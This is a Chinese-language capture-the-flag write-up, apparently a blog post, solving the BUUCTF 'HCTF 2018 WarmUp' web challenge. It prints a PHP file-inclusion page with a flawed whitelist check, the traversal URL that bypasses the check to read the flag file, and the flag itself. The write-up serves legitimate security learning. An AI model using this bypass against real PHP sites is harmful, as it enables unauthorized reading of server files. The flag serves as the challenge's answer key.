[BUUCTF][Web][HCTF 2018]WarmUp 1

这题已经标识为php 代码审计题,那么需要搞到源码才行
打开靶机对应的url,展示的是一张笑脸图片
右键查看网页源代码
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Document</title>
</head>
<body>
    <!--source.php-->
    
    <br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html>
这里显示存在一个叫 source.php的文件
尝试访问 source.php
http://2755d30c-1f20-4bf2-856a-c272044674b5.node4.buuoj.cn:81/source.php
居然得到了源码
<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

从源码可知,存在一个叫hint.php的文件,同时可以作为file的参数传入,构造url

http://2755d30c-1f20-4bf2-856a-c272044674b5.node4.buuoj.cn:81/?file=hint.php

得到以下回显,这里有重要信息

flag not here, and flag in ffffllllaaaagggg

这里有个题眼,flag在ffffllllaaaagggg文件中,现在就需要构造目录穿越的渗透方式,来或者这个文件的内容,这里可以推测肯定是在上几层的目录中,否则很难搞定

继续阅读源码 checkFile 函数,看有没有什么方式可以绕过

// 1.
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
//2.
            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

问题就出现在这一段

1处, 首先将传入的参数以问号处截断,然后判断 ?以前的字符串是否在白名单中,如果在就通过。

那么可以构造一个这样的url试一下
http://2755d30c-1f20-4bf2-856a-c272044674b5.node4.buuoj.cn:81/?file=source.php?./ffffllllaaaagggg

如果没有通过检查,源码可知,一定会报you can't see it

这个url展示一片空白,那么说明这个套路没问题,继续向上加层级尝试

 最后得到这个url ok:
 http://2755d30c-1f20-4bf2-856a-c272044674b5.node4.buuoj.cn:81?file=source.php?../../../../../../../../../ffffllllaaaagggg
 

得到flag
flag{99e0c3c4-e30d-48ea-a8ea-f55603c0ec7f}

posted @ 2022-12-07 18:25  明月照江江  阅读(25)  评论(0编辑  收藏  举报